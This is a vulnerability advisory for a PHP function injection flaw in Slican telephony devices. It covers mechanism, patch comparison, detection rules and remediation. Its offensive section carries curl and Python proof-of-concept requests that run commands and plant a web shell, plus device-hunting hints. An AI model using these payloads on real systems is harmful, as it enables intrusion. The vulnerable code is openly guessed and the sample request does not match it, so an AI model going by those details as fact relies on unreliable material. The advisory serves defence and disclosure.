CVE-2025-14577

Executive Summary

CVE-2025-14577 is a critical PHP Function Injection vulnerability affecting Slican NCP/IPL/IPM/IPU devices. An unauthenticated remote attacker can exploit this flaw by sending specially crafted requests to the /webcti/session_ajax.php endpoint, leading to arbitrary PHP code execution. This vulnerability allows complete compromise of the affected device, enabling data exfiltration, lateral movement, and potential disruption of telecommunication services. The vendor has released patches in versions 1.24.0190 (NCP) and 6.61.0010 (IPL/IPM/IPU). Given the lack of authentication requirements and the high impact, immediate patching is critical.

CVSS Breakdown & Threat Level

While the official CVSS score is listed as 0.0, the vulnerability characteristics indicate a critical severity. Based on the description, the CVSS vector would likely be:

• Attack Vector (AV): Network (N)
• Attack Complexity (AC): Low (L)
• Privileges Required (PR): None (N)
• User Interaction (UI): None (N)
• Scope (S): Unchanged (U)
• Confidentiality (C): High (H)
• Integrity (I): High (H)
• Availability (A): High (H)

Estimated CVSS Score: 9.8 (Critical)

Threat Level: Critical. The vulnerability is remotely exploitable without authentication, and successful exploitation grants full PHP code execution, leading to total device compromise.

Deep Dive & Mechanics

The vulnerability resides in the /webcti/session_ajax.php endpoint of Slican devices. This endpoint likely handles AJAX requests for session management. The flaw is a PHP Function Injection (CWE-94), meaning the application improperly evaluates user-supplied input as PHP code.

Mechanism:

1. The endpoint receives parameters via HTTP request (GET or POST).
2. The application passes these parameters to a PHP function like call_user_func, eval, or preg_replace with the /e modifier without proper sanitization.
3. An attacker can inject arbitrary PHP code by crafting a request with malicious parameters.
4. The injected code is executed with the privileges of the web server, typically www-data or equivalent.

Example vulnerable code pattern:

// Vulnerable code in session_ajax.php
$action = $_REQUEST['action'];
call_user_func($action, $_REQUEST);

An attacker could send:

POST /webcti/session_ajax.php HTTP/1.1
Host: target
Content-Type: application/x-www-form-urlencoded

action=system&cmd=id

This would execute system('id') on the server.

Vulnerable vs. Patched Code

Vulnerable Code (Pre-Patch):

// session_ajax.php (vulnerable)
$action = $_GET['action'];
if (function_exists($action)) {
    call_user_func($action, $_GET);
}

Patched Code (Post-Patch):

// session_ajax.php (patched)
$allowed_actions = ['getSession', 'setSession', 'destroySession'];
$action = $_GET['action'];
if (in_array($action, $allowed_actions, true)) {
    // Execute only allowed actions
    switch ($action) {
        case 'getSession':
            // handle getSession
            break;
        case 'setSession':
            // handle setSession
            break;
        case 'destroySession':
            // handle destroySession
            break;
    }
} else {
    die('Invalid action');
}

The patch implements a whitelist of allowed actions, preventing arbitrary function calls.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Setup:

1. Deploy a vulnerable Slican NCP/IPL/IPM/IPU device (version < 1.24.0190 or < 6.61.0010).
2. Ensure the device is accessible on the network.

Exploitation Steps:

1. Identify the target device using Shodan dorks: Slican NCP, Slican IPL, Slican IPM, Slican IPU.
2. Send a crafted request to the /webcti/session_ajax.php endpoint.

Proof of Concept (PoC):

# Execute system command
curl -X POST "http://target/webcti/session_ajax.php" \
  -d "action=system&cmd=id"

# Write a web shell
curl -X POST "http://target/webcti/session_ajax.php" \
  -d "action=file_put_contents&args[]=/var/www/html/shell.php&args[]=<?php system(\$_GET['cmd']); ?>"

Advanced Exploitation:

import requests

target = "http://target/webcti/session_ajax.php"
payload = {
    "action": "system",
    "cmd": "whoami"
}
response = requests.post(target, data=payload)
print(response.text)

Blue Team (Defensive)

Detection:

• Monitor HTTP requests to /webcti/session_ajax.php for unusual parameters.
• Look for requests containing action=system, action=exec, action=shell_exec, or other dangerous PHP functions.
• Alert on any POST requests to this endpoint with non-standard parameters.

Honeypot:

• Deploy a fake Slican device logging all requests to /webcti/session_ajax.php.
• Analyze captured payloads for indicators of compromise.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP POST requests to /webcti/session_ajax.php with parameters containing PHP function names (e.g., action=system, action=eval).
• Outbound connections from the device to unknown IP addresses on ports 80, 443, or 4444.
• Unusual HTTP response bodies containing command output (e.g., uid=33(www-data)).

File System IOCs:

• Presence of web shells in /var/www/html/ or /webcti/ directory.
• Modified or new files in /tmp/ directory.
• Suspicious entries in /var/log/apache2/access.log or /var/log/nginx/access.log.

Process IOCs:

• Unexpected PHP processes running as www-data.
• Processes spawned by the web server (e.g., id, whoami, nc, bash).

Detection Engineering

YARA Rule

rule CVE_2025_14577_Slican_PHP_Injection {
    meta:
        description = "Detects PHP Function Injection attempts against Slican devices"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-14577"
        hash = "unknown"
    strings:
        $php_func = /action=(system|exec|shell_exec|passthru|popen|proc_open|eval|assert|preg_replace|create_function|call_user_func|array_map|array_filter|array_walk|array_reduce|usort|uksort|uasort)/ nocase
        $endpoint = "/webcti/session_ajax.php" nocase
        $cmd_param = /cmd=|command=|args=|params=/ nocase
    condition:
        $endpoint and $php_func and $cmd_param
}

Sigma Rule

title: Slican PHP Function Injection Attempt
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects attempts to exploit CVE-2025-14577 by injecting PHP functions into Slican devices
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-14577
logsource:
    category: webserver
    product: apache
    service: access
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: '/webcti/session_ajax.php'
        cs-uri-query|contains|all:
            - 'action='
            - 'system'
    condition: selection
falsepositives:
    - Legitimate administrative actions (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-14577 Slican PHP Function Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/webcti/session_ajax.php"; http_uri; content:"action="; http_client_body; pcre:"/action=(system|exec|shell_exec|passthru|popen|proc_open|eval|assert|preg_replace|create_function|call_user_func|array_map|array_filter|array_walk|array_reduce|usort|uksort|uasort)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update Slican NCP to version 1.24.0190 or later, and Slican IPL/IPM/IPU to version 6.61.0010 or later.
2. Access Control: Restrict access to the /webcti/ directory using firewall rules or web server authentication.
3. WAF Rules: Deploy Web Application Firewall rules to block requests containing dangerous PHP functions in parameters.

Long-term Mitigations:

1. Network Segmentation: Place Slican devices on isolated management networks.
2. Monitoring: Implement continuous monitoring for anomalous HTTP requests to /webcti/session_ajax.php.
3. Least Privilege: Ensure the web server runs with minimal necessary privileges.
4. Code Review: Conduct security audits of custom web applications.

Workaround (if patching is not immediately possible):

• Disable the /webcti/session_ajax.php endpoint by removing or renaming the file.
• Implement input validation to only allow predefined actions.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert